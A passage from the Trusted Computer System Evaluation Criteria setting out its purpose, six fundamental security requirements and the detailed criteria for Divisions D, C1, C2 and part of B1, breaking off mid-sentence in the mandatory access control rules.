  750. Scope
  751.  
  752. The trusted computer system evaluation criteria defined in this document apply
  753. to both trusted general-purpose and trusted embedded (e.g., those dedicated to
  754. a specific application) automatic data processing (ADP) systems.  Included are
  755. two distinct sets of requirements: 1) specific security feature requirements;
  756. and 2) assurance requirements.  The specific feature requirements encompass
  757. the capabilities typically found in information processing systems employing
  758. general-purpose operating systems that are distinct from the applications
  759. programs being supported.  The assurance requirements, on the other hand,
  760. apply to systems that cover the full range of computing environments from
  761. dedicated controllers to full range multilevel secure resource sharing
  762. systems.
  763.  
  764.  
  765. Purpose
  766.  
  767. As outlined in the Preface, the criteria have been developed for a number of
  768. reasons:
  769.  
  770.            * To provide users with a metric with which to evaluate the
  771.            degree of trust that can be placed in computer systems for
  772.            the secure processing of classified and other sensitive
  773.            information.
  774.  
  775.            * To provide guidance to manufacturers as to what security
  776.            features to build into their new and planned, commercial
  777.            products in order to provide widely available systems that
  778.            satisfy trust requirements for sensitive applications.
  779.  
  780.            * To provide a basis for specifying security requirements in
  781.            acquisition specifications.
  782.  
  783. With respect to the first purpose for development of the criteria, i.e.,
  784. providing users with a security evaluation metric, evaluations can be
  785. delineated into two types: (a) an evaluation can be performed on a computer
  786. product from a perspective that excludes the application environment; or, (b)
  787. it can be done to assess whether appropriate security measures have been taken
  788. to permit the system to be used operationally in a specific environment.  The
  789. former type of evaluation is done by the Computer Security Center through the
  790. Commercial Product Evaluation Process.  That process is described in Appendix
  791. A.
  792.  
  793. The latter type of evaluation, i.e., those done for the purpose of assessing a
  794. system's security attributes with respect to a specific operational mission,
  795. is known as a certification evaluation.  It must be understood that the
  796. completion of a formal product evaluation does not constitute certification or
  797. accreditation for the system to be used in any specific application
  798. environment.  On the contrary, the evaluation report only provides a trusted
  799. computer system's evaluation rating along with supporting data describing the
  800. product system's strengths and weaknesses from a computer security point of
  801. view.  The system security certification and the formal approval/accreditation
  802. procedure, done in accordance with the applicable policies of the issuing
  803. agencies, must still be followed-before a system can be approved for use in
  804. processing or handling classified information.[8;9]
  805.  
  806. The trusted computer system evaluation criteria will be used directly and
  807. indirectly in the certification process.  Along with applicable policy, it
  808. will be used directly as the basis for evaluation of the total system and for
  809. specifying system security and certification requirements for new
  810. acquisitions.  Where a system being evaluated for certification employs a
  811. product that has undergone a Commercial Product Evaluation, reports from that
  812. process will be used as input to the certification evaluation.  Technical data
  813. will be furnished to designers, evaluators and the Designated Approving
  814. Authorities to support their needs for making decisions.
  815.  
  816.  
  817. Fundamental Computer Security Requirements
  818.  
  819. Any discussion of computer security necessarily starts from a statement of
  820. requirements, i.e., what it really means to call a computer system "secure."
  821. In general, secure systems will control, through use of specific security
  822. features, access to information such that only properly authorized
  823. individuals, or processes operating on their behalf, will have access to read,
  824. write, create, or delete information.  Six fundamental requirements are
  825. derived from this basic statement of objective: four deal with what needs to
  826. be provided to control access to information; and two deal with how one can
  827. obtain credible assurances that this is accomplished in a trusted computer
  828. system.
  829.  
  830.                                 POLICY
  831.  
  832. Requirement 1 - SECURITY POLICY - There must be an explicit and well-defined
  833. security policy enforced by the system.  Given identified subjects and
  834. objects, there must be a set of rules that are used by the system to determine
  835. whether a given subject can be permitted to gain access to a specific object.
  836. Computer systems of interest must enforce a mandatory security policy that can
  837. effectively implement access rules for handling sensitive (e.g., classified)
  838. information.[7]  These rules include requirements such as: No person lacking
  839. proper personnel security clearance shall obtain access to classified
  840. information.  In addition, discretionary security controls are required to
  841. ensure that only selected users or groups of users may obtain access to data
  842. (e.g., based on a need-to-know).
  843.  
  844. Requirement 2 - MARKING - Access control labels must be associated with
  845. objects.  In order to control access to information stored in a computer,
  846. according to the rules of a mandatory security policy, it must be possible to
  847. mark every object with a label that reliably identifies the object's
  848. sensitivity level (e.g., classification), and/or the modes of access accorded
  849. those subjects who may potentially access the object.
  850.  
  851.                           ACCOUNTABILITY
  852.  
  853. Requirement 3 - IDENTIFICATION - Individual subjects must be identified.  Each
  854. access to information must be mediated based on who is accessing the
  855. information and what classes of information they are authorized to deal with.
  856. This identification and authorization information must be securely maintained
  857. by the computer system and be associated with every active element that
  858. performs some security-relevant action in the system.
  859.  
  860. Requirement 4 - ACCOUNTABILITY - Audit information must be selectively kept
  861. and protected so that actions affecting security can be traced to the
  862. responsible party.  A trusted system must be able to record the occurrences of
  863. security-relevant events in an audit log.  The capability to select the audit
  864. events to be recorded is necessary to minimize the expense of auditing and to
  865. allow efficient analysis.  Audit data must be protected from modification and
  866. unauthorized destruction to permit detection and after-the-fact investigations
  867. of security violations.
  868.  
  869.                              ASSURANCE
  870.  
  871. Requirement 5 - ASSURANCE - The computer system must contain hardware/software
  872. mechanisms that can be independently evaluated to provide sufficient assurance
  873. that the system enforces requirements 1 through 4 above.  In order to assure
  874. that the four requirements of Security Policy, Marking, Identification, and
  875. Accountability are enforced by a computer system, there must be some
  876. identified and unified collection of hardware and software controls that
  877. perform those functions.  These mechanisms are typically embedded in the
  878. operating system and are designed to carry out the assigned tasks in a secure
  879. manner.  The basis for trusting such system mechanisms in their operational
  880. setting must be clearly documented such that it is possible to independently
  881. examine the evidence to evaluate their sufficiency.
  882.  
  883. Requirement 6 - CONTINUOUS PROTECTION - The trusted mechanisms that enforce
  884. these basic requirements must be continuously protected against tampering
  885. and/or unauthorized changes.  No computer system can be considered truly
  886. secure if the basic hardware and software mechanisms that enforce the security
  887. policy are themselves subject to unauthorized modification or subversion.  The
  888. continuous protection requirement has direct implications throughout the
  889. computer system's life-cycle.
  890.  
  891. These fundamental requirements form the basis for the individual evaluation
  892. criteria applicable for each evaluation division and class.  The interested
  893. reader is referred to Section 5 of this document, "Control Objectives for
  894. Trusted Computer Systems," for a more complete discussion and further
  895. amplification of these fundamental requirements as they apply to
  896. general-purpose information processing systems and to Section 7 for
  897. amplification of the relationship between Policy and these requirements.
  898.  
  899.  
  900. Structure of the Document
  901.  
  902. The remainder of this document is divided into two parts, four appendices, and
  903. a glossary.  Part I (Sections 1 through 4) presents the detailed criteria
  904. derived from the fundamental requirements described above and relevant to the
  905. rationale and policy excerpts contained in Part II.
  906.  
  907. Part II (Sections 5 through 10) provides a discussion of basic objectives,
  908. rationale, and national policy behind the development of the criteria, and
  909. guidelines for developers pertaining to: mandatory access control rules
  910. implementation, the covert channel problem, and security testing.  It is
  911. divided into six sections.  Section 5 discusses the use of control objectives
  912. in general and presents the three basic control objectives of the criteria.
  913. Section 6 provides the theoretical basis behind the criteria.  Section 7 gives
  914. excerpts from pertinent regulations, directives, OMB Circulars, and Executive
  915. Orders which provide the basis for many trust requirements for processing
  916. nationally sensitive and classified information with computer systems.
  917. Section 8 provides guidance to system developers on expectations in dealing
  918. with the covert channel problem.  Section 9 provides guidelines dealing with
  919. mandatory security.  Section 10 provides guidelines for security testing.
  920. There are four appendices, including a description of the Trusted Computer
  921. System Commercial Products Evaluation Process (Appendix A), summaries of the
  922. evaluation divisions (Appendix B) and classes (Appendix C), and finally a
  923. directory of requirements ordered alphabetically.  In addition, there is a
  924. glossary.
  925.  
  926.  
  927. Structure of the Criteria
  928.  
  929. The criteria are divided into four divisions: D, C, B, and A ordered in a
  930. hierarchical manner with the highest division (A) being reserved for systems
  931. providing the most comprehensive security.  Each division represents a major
  932. improvement in the overall confidence one can place in the system for the
  933. protection of sensitive information.  Within divisions C and B there are a
  934. number of subdivisions known as classes.  The classes are also ordered in a
  935. hierarchical manner with systems representative of division C and lower
  936. classes of division B being characterized by the set of computer security
  937. mechanisms that they possess.  Assurance of correct and complete design and
  938. implementation for these systems is gained mostly through testing of the
  939. security- relevant portions of the system.  The security-relevant portions of
  940. a system are referred to throughout this document as the Trusted Computing
  941. Base (TCB).  Systems representative of higher classes in division B and
  942. division A derive their security attributes more from their design and
  943. implementation structure.  Increased assurance that the required features are
  944. operative, correct, and tamperproof under all circumstances is gained through
  945. progressively more rigorous analysis during the design process.
  946.  
  947. Within each class, four major sets of criteria are addressed.  The first three
  948. represent features necessary to satisfy the broad control objectives of
  949. Security Policy, Accountability, and Assurance that are discussed in Part II,
  950. Section 5.  The fourth set, Documentation, describes the type of written
  951. evidence in the form of user guides, manuals, and the test and design
  952. documentation required for each class.
  953.  
  954. A reader using this publication for the first time may find it helpful to
  955. first read Part II, before continuing on with Part I.
  956.  
  957.  
  958.  
  959.  
  960.                         PART I:  THE CRITERIA
  961.  
  962. Highlighting (UPPERCASE) is used in Part I to indicate criteria not contained
  963. in a lower class or changes and additions to already defined criteria.  Where
  964. there is no highlighting, requirements have been carried over from lower
  965. classes without addition or modification.
  966.  
  967.  
  968.  
  969. 1.0  DIVISION D:    MINIMAL PROTECTION
  970.  
  971. This division contains only one class.  It is reserved for those systems that
  972. have been evaluated but that fail to meet the requirements for a higher
  973. evaluation class.
  974.  
  975.  
  976.  
  977. 2.0 DIVISION C:  DISCRETIONARY PROTECTION
  978.  
  979. Classes in this division provide for discretionary (need-to-know) protection
  980. and, through the inclusion of audit capabilities, for accountability of
  981. subjects and the actions they initiate.
  982.  
  983.  
  984. 2.1  CLASS (C1):   DISCRETIONARY SECURITY PROTECTION
  985.  
  986. The Trusted Computing Base (TCB) of a class (C1) system nominally satisfies
  987. the discretionary security requirements by providing separation of users and
  988. data.  It incorporates some form of credible controls capable of enforcing
  989. access limitations on an individual basis, i.e., ostensibly suitable for
  990. allowing users to be able to protect project or private information and to
  991. keep other users from accidentally reading or destroying their data.  The
  992. class (C1) environment is expected to be one of cooperating users processing
  993. data at the same level(s) of sensitivity.  The following are minimal
  994. requirements for systems assigned a class (C1) rating:
  995.  
  996. 2.1.1  SECURITY POLICY
  997.  
  998.      2.1.1.1   Discretionary Access Control
  999.  
  1000.                THE TCB SHALL DEFINE AND CONTROL ACCESS BETWEEN NAMED USERS AND
  1001.              NAMED OBJECTS (E.G., FILES AND PROGRAMS) IN THE ADP SYSTEM.  THE
  1002.              ENFORCEMENT MECHANISM (E.G., SELF/GROUP/PUBLIC CONTROLS, ACCESS
  1003.              CONTROL LISTS) SHALL ALLOW USERS TO SPECIFY AND CONTROL SHARING
  1004.              OF THOSE OBJECTS BY NAMED INDIVIDUALS OR DEFINED GROUPS OR BOTH.
  1005.  
  1006. 2.1.2  ACCOUNTABILITY
  1007.  
  1008.      2.1.2.1   Identification and Authentication
  1009.  
  1010.                THE TCB SHALL REQUIRE USERS TO IDENTIFY THEMSELVES TO IT BEFORE
  1011.              BEGINNING TO PERFORM ANY OTHER ACTIONS THAT THE TCB IS EXPECTED
  1012.              TO MEDIATE.  FURTHERMORE, THE TCB SHALL USE A PROTECTED
  1013.              MECHANISM (E.G., PASSWORDS) TO AUTHENTICATE THE USER'S IDENTITY.
  1014.              THE TCB SHALL PROTECT AUTHENTICATION DATA SO THAT IT CANNOT BE
  1015.              ACCESSED BY ANY UNAUTHORIZED USER.
  1016.  
  1017. 2.1.3  ASSURANCE
  1018.  
  1019.      2.1.3.1   Operational Assurance
  1020.  
  1021.         2.1.3.1.1  System Architecture
  1022.  
  1023.                      THE TCB SHALL MAINTAIN A DOMAIN FOR ITS OWN EXECUTION
  1024.                  THAT PROTECTS IT FROM EXTERNAL INTERFERENCE OR TAMPERING
  1025.                  (E.G., BY MODIFICATION OF ITS CODE OR DATA STRUCTURES).
  1026.                  RESOURCES CONTROLLED BY THE TCB MAY BE A DEFINED SUBSET
  1027.                  OF THE SUBJECTS AND OBJECTS IN THE ADP SYSTEM.
  1028.  
  1029.         2.1.3.1.2  System Integrity
  1030.  
  1031.                      HARDWARE AND/OR SOFTWARE FEATURES SHALL BE PROVIDED THAT
  1032.                  CAN BE USED TO PERIODICALLY VALIDATE THE CORRECT OPERATION
  1033.                  OF THE ON-SITE HARDWARE AND FIRMWARE ELEMENTS OF THE TCB.
  1034.  
  1035.      2.1.3.2   Life-Cycle Assurance
  1036.  
  1037.         2.1.3.2.1  Security Testing
  1038.  
  1039.                      THE SECURITY MECHANISMS OF THE ADP SYSTEM SHALL BE TESTED
  1040.                  AND FOUND TO WORK AS CLAIMED IN THE SYSTEM DOCUMENTATION.
  1041.                  TESTING SHALL BE DONE TO ASSURE THAT THERE ARE NO OBVIOUS
  1042.                  WAYS FOR AN UNAUTHORIZED USER TO BYPASS OR OTHERWISE
  1043.                  DEFEAT THE SECURITY PROTECTION MECHANISMS OF THE TCB.
  1044.                  (SEE THE SECURITY TESTING GUIDELINES.)
  1045.  
  1046. 2.1.4  DOCUMENTATION
  1047.  
  1048.      2.1.4.1   Security Features User's Guide
  1049.  
  1050.                A SINGLE SUMMARY, CHAPTER, OR MANUAL IN USER DOCUMENTATION
  1051.              SHALL DESCRIBE THE PROTECTION MECHANISMS PROVIDED BY THE TCB,
  1052.              GUIDELINES ON THEIR USE, AND HOW THEY INTERACT WITH ONE ANOTHER.
  1053.  
  1054.      2.1.4.2   Trusted Facility Manual
  1055.  
  1056.                A MANUAL ADDRESSED TO THE ADP SYSTEM ADMINISTRATOR SHALL
  1057.              PRESENT CAUTIONS ABOUT FUNCTIONS AND PRIVILEGES THAT SHOULD BE
  1058.              CONTROLLED WHEN RUNNING A SECURE FACILITY.
  1059.  
  1060.      2.1.4.3   Test Documentation
  1061.  
  1062.                THE SYSTEM DEVELOPER SHALL PROVIDE TO THE EVALUATORS A DOCUMENT
  1063.              THAT DESCRIBES THE TEST PLAN AND RESULTS OF THE SECURITY
  1064.              MECHANISMS' FUNCTIONAL TESTING.
  1065.  
  1066.      2.1.4.4   Design Documentation
  1067.  
  1068.                DOCUMENTATION SHALL BE AVAILABLE THAT PROVIDES A DESCRIPTION OF
  1069.              THE MANUFACTURER'S PHILOSOPHY OF PROTECTION AND AN EXPLANATION
  1070.              OF HOW THIS PHILOSOPHY IS TRANSLATED INTO THE TCB.  IF THE TCB
  1071.              IS COMPOSED OF DISTINCT MODULES, THE INTERFACES BETWEEN THESE
  1072.              MODULES SHALL BE DESCRIBED.
  1073.  
  1074.  
  1075. 2.2  CLASS (C2):    CONTROLLED ACCESS PROTECTION
  1076.  
  1077. Systems in this class enforce a more finely grained discretionary access
  1078. control than (C1) systems, making users individually accountable for their
  1079. actions through login procedures, auditing of security-relevant events, and
  1080. resource isolation.  The following are minimal requirements for systems
  1081. assigned a class (C2) rating:
  1082.  
  1083. 2.2.1  SECURITY POLICY
  1084.  
  1085.      2.2.1.1   Discretionary Access Control
  1086.  
  1087.                The TCB shall define and control access between named users and
  1088.              named objects (e.g., files and programs) in the ADP system.  The
  1089.              enforcement mechanism (e.g., self/group/public controls, access
  1090.              control lists) shall allow users to specify and control sharing
  1091.              of those objects by named individuals, or defined groups OF
  1092.              INDIVIDUALS, or by both.  THE DISCRETIONARY ACCESS CONTROL
  1093.              MECHANISM SHALL, EITHER BY EXPLICIT USER ACTION OR BY DEFAULT,
  1094.              PROVIDE THAT OBJECTS ARE PROTECTED FROM UNAUTHORIZED ACCESS.
  1095.              THESE ACCESS CONTROLS SHALL BE CAPABLE OF INCLUDING OR EXCLUDING
  1096.              ACCESS TO THE GRANULARITY OF A SINGLE USER.  ACCESS PERMISSION
  1097.              TO AN OBJECT BY USERS NOT ALREADY POSSESSING ACCESS PERMISSION
  1098.              SHALL ONLY BE ASSIGNED BY AUTHORIZED USERS.
  1099.  
  1100.      2.2.1.2   Object Reuse
  1101.  
  1102.                WHEN A STORAGE OBJECT IS INITIALLY ASSIGNED, ALLOCATED, OR
  1103.              REALLOCATED TO A SUBJECT FROM THE TCB'S POOL OF UNUSED STORAGE
  1104.              OBJECTS, THE TCB SHALL ASSURE THAT THE OBJECT CONTAINS NO DATA
  1105.              FOR WHICH THE SUBJECT IS NOT AUTHORIZED.
  1106.  
  1107. 2.2.2  ACCOUNTABILITY
  1108.  
  1109.      2.2.2.1   Identification and Authentication
  1110.  
  1111.                The TCB shall require users to identify themselves to it before
  1112.              beginning to perform any other actions that the TCB is expected
  1113.              to mediate.  Furthermore, the TCB shall use a protected
  1114.              mechanism (e.g., passwords) to authenticate the user's identity.
  1115.              The TCB shall protect authentication data so that it cannot be
  1116.              accessed by any unauthorized user.  THE TCB SHALL BE ABLE TO
  1117.              ENFORCE INDIVIDUAL ACCOUNTABILITY BY PROVIDING THE CAPABILITY TO
  1118.              UNIQUELY IDENTIFY EACH INDIVIDUAL ADP SYSTEM USER.  THE TCB
  1119.              SHALL ALSO PROVIDE THE CAPABILITY OF ASSOCIATING THIS IDENTITY
  1120.              WITH ALL AUDITABLE ACTIONS TAKEN BY THAT INDIVIDUAL.
  1121.  
  1122.      2.2.2.2   Audit
  1123.  
  1124.                THE TCB SHALL BE ABLE TO CREATE, MAINTAIN, AND PROTECT FROM
  1125.              MODIFICATION OR UNAUTHORIZED ACCESS OR DESTRUCTION AN AUDIT
  1126.              TRAIL OF ACCESSES TO THE OBJECTS IT PROTECTS.  THE AUDIT DATA
  1127.              SHALL BE PROTECTED BY THE TCB SO THAT READ ACCESS TO IT IS
  1128.              LIMITED TO THOSE WHO ARE AUTHORIZED FOR AUDIT DATA.  THE TCB
  1129.              SHALL BE ABLE TO RECORD THE FOLLOWING TYPES OF EVENTS: USE OF
  1130.              IDENTIFICATION AND AUTHENTICATION MECHANISMS, INTRODUCTION OF
  1131.              OBJECTS INTO A USER'S ADDRESS SPACE (E.G., FILE OPEN, PROGRAM
  1132.              INITIATION), DELETION OF OBJECTS, AND ACTIONS TAKEN BY
  1133.              COMPUTER OPERATORS AND SYSTEM ADMINISTRATORS AND/OR SYSTEM
  1134.              SECURITY OFFICERS.  FOR EACH RECORDED EVENT, THE AUDIT RECORD
  1135.              SHALL IDENTIFY: DATE AND TIME OF THE EVENT, USER, TYPE OF
  1136.              EVENT, AND SUCCESS OR FAILURE OF THE EVENT.  FOR
  1137.              IDENTIFICATION/AUTHENTICATION EVENTS THE ORIGIN OF REQUEST
  1138.              (E.G., TERMINAL ID) SHALL BE INCLUDED IN THE AUDIT RECORD.  FOR
  1139.              EVENTS THAT INTRODUCE AN OBJECT INTO A USER'S ADDRESS SPACE AND
  1140.              FOR OBJECT DELETION EVENTS THE AUDIT RECORD SHALL INCLUDE THE
  1141.              NAME OF THE OBJECT.  THE ADP SYSTEM ADMINISTRATOR SHALL BE ABLE
  1142.              TO SELECTIVELY AUDIT THE ACTIONS OF ANY ONE OR MORE USERS BASED
  1143.              ON INDIVIDUAL IDENTITY.
  1144.  
  1145. 2.2.3  ASSURANCE
  1146.  
  1147.      2.2.3.1   Operational Assurance
  1148.  
  1149.         2.2.3.1.1  System Architecture
  1150.  
  1151.                      The TCB shall maintain a domain for its own execution
  1152.                  that protects it from external interference or tampering
  1153.                  (e.g., by modification of its code or data structures).
  1154.                  Resources controlled by the TCB may be a defined subset
  1155.                  of the subjects and objects in the ADP system.  THE TCB
  1156.                  SHALL ISOLATE THE RESOURCES TO BE PROTECTED SO THAT THEY
  1157.                  ARE SUBJECT TO THE ACCESS CONTROL AND AUDITING
  1158.                  REQUIREMENTS.
  1159.  
  1160.         2.2.3.1.2  System Integrity
  1161.  
  1162.                      Hardware and/or software features shall be provided that
  1163.                  can be used to periodically validate the correct operation
  1164.                  of the on-site hardware and firmware elements of the TCB.
  1165.  
  1166.      2.2.3.2   Life-Cycle Assurance
  1167.  
  1168.         2.2.3.2.1  Security Testing
  1169.  
  1170.                      The security mechanisms of the ADP system shall be tested
  1171.                  and found to work as claimed in the system documentation.
  1172.                  Testing shall be done to assure that there are no obvious
  1173.                  ways for an unauthorized user to bypass or otherwise
  1174.                  defeat the security protection mechanisms of the TCB.
  1175.                  TESTING SHALL ALSO INCLUDE A SEARCH FOR OBVIOUS FLAWS THAT
  1176.                  WOULD ALLOW VIOLATION OF RESOURCE ISOLATION, OR THAT WOULD
  1177.                  PERMIT UNAUTHORIZED ACCESS TO THE AUDIT OR AUTHENTICATION
  1178.                  DATA.  (See the Security Testing guidelines.)
  1179.  
  1180. 2.2.4  DOCUMENTATION
  1181.  
  1182.      2.2.4.1   Security Features User's Guide
  1183.  
  1184.                A single summary, chapter, or manual in user documentation
  1185.              shall describe the protection mechanisms provided by the TCB,
  1186.              guidelines on their use, and how they interact with one another.
  1187.  
  1188.      2.2.4.2   Trusted Facility Manual
  1189.  
  1190.                A manual addressed to the ADP system administrator shall
  1191.              present cautions about functions and privileges that should be
  1192.              controlled when running a secure facility.  THE PROCEDURES FOR
  1193.              EXAMINING AND MAINTAINING THE AUDIT FILES AS WELL AS THE
  1194.              DETAILED AUDIT RECORD STRUCTURE FOR EACH TYPE OF AUDIT EVENT
  1195.              SHALL BE GIVEN.
  1196.  
  1197.      2.2.4.3   Test Documentation
  1198.  
  1199.                The system developer shall provide to the evaluators a document
  1200.              that describes the test plan and results of the security
  1201.              mechanisms' functional testing.
  1202.  
  1203.      2.2.4.4   Design Documentation
  1204.  
  1205.                Documentation shall be available that provides a description of
  1206.              the manufacturer's philosophy of protection and an explanation
  1207.              of how this philosophy is translated into the TCB.  If the TCB
  1208.              is composed of distinct modules, the interfaces between these
  1209.              modules shall be described.
  1210.  
  1211.  
  1212.  
  1213. 3.0  DIVISION B:    MANDATORY PROTECTION
  1214.  
  1215. The notion of a TCB that preserves the integrity of sensitivity labels and
  1216. uses them to enforce a set of mandatory access control rules is a major
  1217. requirement in this division.  Systems in this division must carry the
  1218. sensitivity labels with major data structures in the system.  The system
  1219. developer also provides the security policy model on which the TCB is based
  1220. and furnishes a specification of the TCB.  Evidence must be provided to
  1221. demonstrate that the reference monitor concept has been implemented.
  1222.  
  1223.  
  1224. 3.1  CLASS (B1):    LABELED SECURITY PROTECTION
  1225.  
  1226. Class (B1) systems require all the features required for class (C2).  In
  1227. addition, an informal statement of the security policy model, data labeling,
  1228. and mandatory access control over named subjects and objects must be present.
  1229. The capability must exist for accurately labeling exported information.  Any
  1230. flaws identified by testing must be removed.  The following are minimal
  1231. requirements for systems assigned a class (B1) rating:
  1232.  
  1233. 3.1.1  SECURITY POLICY
  1234.  
  1235.      3.1.1.1   Discretionary Access Control
  1236.  
  1237.                The TCB shall define and control access between named users and
  1238.              named objects (e.g., files and programs) in the ADP system.
  1239.              The enforcement mechanism (e.g., self/group/public controls,
  1240.              access control lists) shall allow users to specify and control
  1241.              sharing of those objects by named individuals, or defined groups
  1242.              of individuals, or by both.  The discretionary access control
  1243.              mechanism shall, either by explicit user action or by default,
  1244.              provide that objects are protected from unauthorized access.
  1245.              These access controls shall be capable of including or excluding
  1246.              access to the granularity of a single user.  Access permission
  1247.              to an object by users not already possessing access permission
  1248.              shall only be assigned by authorized users.
  1249.  
  1250.      3.1.1.2   Object Reuse
  1251.  
  1252.                When a storage object is initially assigned, allocated, or
  1253.              reallocated to a subject from the TCB's pool of unused storage
  1254.              objects, the TCB shall assure that the object contains no data
  1255.              for which the subject is not authorized.
  1256.  
  1257.      3.1.1.3   Labels
  1258.  
  1259.                SENSITIVITY LABELS ASSOCIATED WITH EACH SUBJECT AND STORAGE
  1260.              OBJECT UNDER ITS CONTROL (E.G., PROCESS, FILE, SEGMENT, DEVICE)
  1261.              SHALL BE MAINTAINED BY THE TCB.  THESE LABELS SHALL BE USED AS
  1262.              THE BASIS FOR MANDATORY ACCESS CONTROL DECISIONS.  IN ORDER TO
  1263.              IMPORT NON-LABELED DATA, THE TCB SHALL REQUEST AND RECEIVE FROM
  1264.              AN AUTHORIZED USER THE SECURITY LEVEL OF THE DATA, AND ALL SUCH
  1265.              ACTIONS SHALL BE AUDITABLE BY THE TCB.
  1266.  
  1267.         3.1.1.3.1  Label Integrity
  1268.  
  1269.                      SENSITIVITY LABELS SHALL ACCURATELY REPRESENT SECURITY
  1270.                  LEVELS OF THE SPECIFIC SUBJECTS OR OBJECTS WITH WHICH THEY
  1271.                  ARE ASSOCIATED.  WHEN EXPORTED BY THE TCB, SENSITIVITY
  1272.                  LABELS SHALL ACCURATELY AND UNAMBIGUOUSLY REPRESENT THE
  1273.                  INTERNAL LABELS AND SHALL BE ASSOCIATED WITH THE
  1274.                  INFORMATION BEING EXPORTED.
  1275.  
  1276.         3.1.1.3.2  Exportation of Labeled Information
  1277.  
  1278.                      THE TCB SHALL DESIGNATE EACH COMMUNICATION CHANNEL AND
  1279.                  I/O DEVICE AS EITHER SINGLE-LEVEL OR MULTILEVEL.  ANY
  1280.                  CHANGE IN THIS DESIGNATION SHALL BE DONE MANUALLY AND
  1281.                  SHALL BE AUDITABLE BY THE TCB.  THE TCB SHALL MAINTAIN
  1282.                  AND BE ABLE TO AUDIT ANY CHANGE IN THE CURRENT SECURITY
  1283.                  LEVEL ASSOCIATED WITH A SINGLE-LEVEL COMMUNICATION
  1284.                  CHANNEL OR I/O DEVICE.
  1285.  
  1286.              3.1.1.3.2.1  Exportation to Multilevel Devices
  1287.  
  1288.                             WHEN THE TCB EXPORTS AN OBJECT TO A MULTILEVEL I/O
  1289.                         DEVICE, THE SENSITIVITY LABEL ASSOCIATED WITH THAT
  1290.                         OBJECT SHALL ALSO BE EXPORTED AND SHALL RESIDE ON
  1291.                         THE SAME PHYSICAL MEDIUM AS THE EXPORTED
  1292.                         INFORMATION AND SHALL BE IN THE SAME FORM
  1293.                         (I.E., MACHINE-READABLE OR  HUMAN-READABLE FORM).
  1294.                         WHEN THE TCB EXPORTS OR IMPORTS AN OBJECT OVER A
  1295.                         MULTILEVEL COMMUNICATION CHANNEL, THE PROTOCOL
  1296.                         USED ON THAT CHANNEL SHALL PROVIDE FOR THE
  1297.                         UNAMBIGUOUS PAIRING BETWEEN THE SENSITIVITY LABELS
  1298.                         AND THE ASSOCIATED INFORMATION THAT IS SENT OR
  1299.                         RECEIVED.
  1300.  
  1301.              3.1.1.3.2.2  Exportation to Single-Level Devices
  1302.  
  1303.                         SINGLE-LEVEL I/O DEVICES AND SINGLE-LEVEL
  1304.                         COMMUNICATION CHANNELS ARE NOT REQUIRED TO
  1305.                         MAINTAIN THE SENSITIVITY LABELS OF THE INFORMATION
  1306.                         THEY PROCESS.  HOWEVER, THE TCB SHALL INCLUDE A
  1307.                         MECHANISM BY WHICH THE TCB AND AN AUTHORIZED USER
  1308.                         RELIABLY COMMUNICATE TO DESIGNATE THE SINGLE
  1309.                         SECURITY LEVEL OF INFORMATION IMPORTED OR EXPORTED
  1310.                         VIA SINGLE-LEVEL COMMUNICATION CHANNELS OR I/O
  1311.                         DEVICES.
  1312.  
  1313.              3.1.1.3.2.3  Labeling Human-Readable Output
  1314.  
  1315.                         THE ADP SYSTEM ADMINISTRATOR SHALL BE ABLE TO
  1316.                         SPECIFY THE PRINTABLE LABEL NAMES ASSOCIATED WITH
  1317.                         EXPORTED SENSITIVITY LABELS.  THE TCB SHALL MARK
  1318.                         THE BEGINNING AND END OF ALL HUMAN-READABLE, PAGED,
  1319.                         HARDCOPY OUTPUT (E.G., LINE PRINTER OUTPUT) WITH
  1320.                         HUMAN-READABLE SENSITIVITY LABELS THAT PROPERLY*
  1321.                         REPRESENT THE SENSITIVITY OF THE OUTPUT.  THE TCB
  1322.                         SHALL, BY DEFAULT, MARK THE TOP AND BOTTOM OF EACH
  1323.                         PAGE OF HUMAN-READABLE, PAGED, HARDCOPY OUTPUT
  1324.                         (E.G., LINE PRINTER OUTPUT) WITH HUMAN-READABLE
  1325.                         SENSITIVITY LABELS THAT PROPERLY* REPRESENT THE
  1326.                         OVERALL SENSITIVITY OF THE OUTPUT OR THAT PROPERLY*
  1327.                         REPRESENT THE SENSITIVITY OF THE INFORMATION ON THE
  1328.                         PAGE.  THE TCB SHALL, BY DEFAULT AND IN AN
  1329.                         APPROPRIATE MANNER, MARK OTHER FORMS OF HUMAN-
  1330.                         READABLE OUTPUT (E.G., MAPS, GRAPHICS) WITH HUMAN-
  1331.                         READABLE SENSITIVITY LABELS THAT PROPERLY*
  1332.                         REPRESENT THE SENSITIVITY OF THE OUTPUT.  ANY
  1333.                         OVERRIDE OF THESE MARKING DEFAULTS SHALL BE
  1334.                         AUDITABLE BY THE TCB.
  1335.  
  1336.  
  1337.            _____________________________________________________________
  1338.            * THE HIERARCHICAL CLASSIFICATION COMPONENT IN HUMAN-READABLE
  1339.            SENSITIVITY LABELS SHALL BE EQUAL TO THE GREATEST
  1340.            HIERARCHICAL CLASSIFICATION OF ANY OF THE INFORMATION IN THE
  1341.            OUTPUT THAT THE LABELS REFER TO;  THE NON-HIERARCHICAL
  1342.            CATEGORY COMPONENT SHALL INCLUDE ALL OF THE NON-HIERARCHICAL
  1343.            CATEGORIES OF THE INFORMATION IN THE OUTPUT THE LABELS REFER
  1344.            TO, BUT NO OTHER NON-HIERARCHICAL CATEGORIES.
  1345.            _____________________________________________________________
  1346.  
  1347.  
  1348.      3.1.1.4   Mandatory Access Control
  1349.  
  1350.                THE TCB SHALL ENFORCE A MANDATORY ACCESS CONTROL POLICY OVER
  1351.              ALL SUBJECTS AND STORAGE OBJECTS UNDER ITS CONTROL (E.G.,
  1352.              PROCESSES, FILES, SEGMENTS, DEVICES).  THESE SUBJECTS AND
  1353.              OBJECTS SHALL BE ASSIGNED SENSITIVITY LABELS THAT ARE A
  1354.              COMBINATION OF HIERARCHICAL CLASSIFICATION LEVELS AND
  1355.              NON-HIERARCHICAL CATEGORIES, AND THE LABELS SHALL BE USED AS
  1356.              THE BASIS FOR MANDATORY ACCESS CONTROL DECISIONS.  THE TCB
  1357.              SHALL BE ABLE TO SUPPORT TWO OR MORE SUCH SECURITY LEVELS.
  1358.              (SEE THE MANDATORY ACCESS CONTROL GUIDELINES.) THE FOLLOWING
  1359.              REQUIREMENTS SHALL HOLD FOR ALL ACCESSES BETWEEN SUBJECTS AND
  1360.              OBJECTS CONTROLLED BY THE TCB: A SUBJECT CAN READ AN OBJECT
  1361.              ONLY IF THE HIERARCHICAL CLASSIFICATION IN THE SUBJECT'S
  1362.              SECURITY LEVEL IS GREATER THAN OR EQUAL TO THE HIERARCHICAL
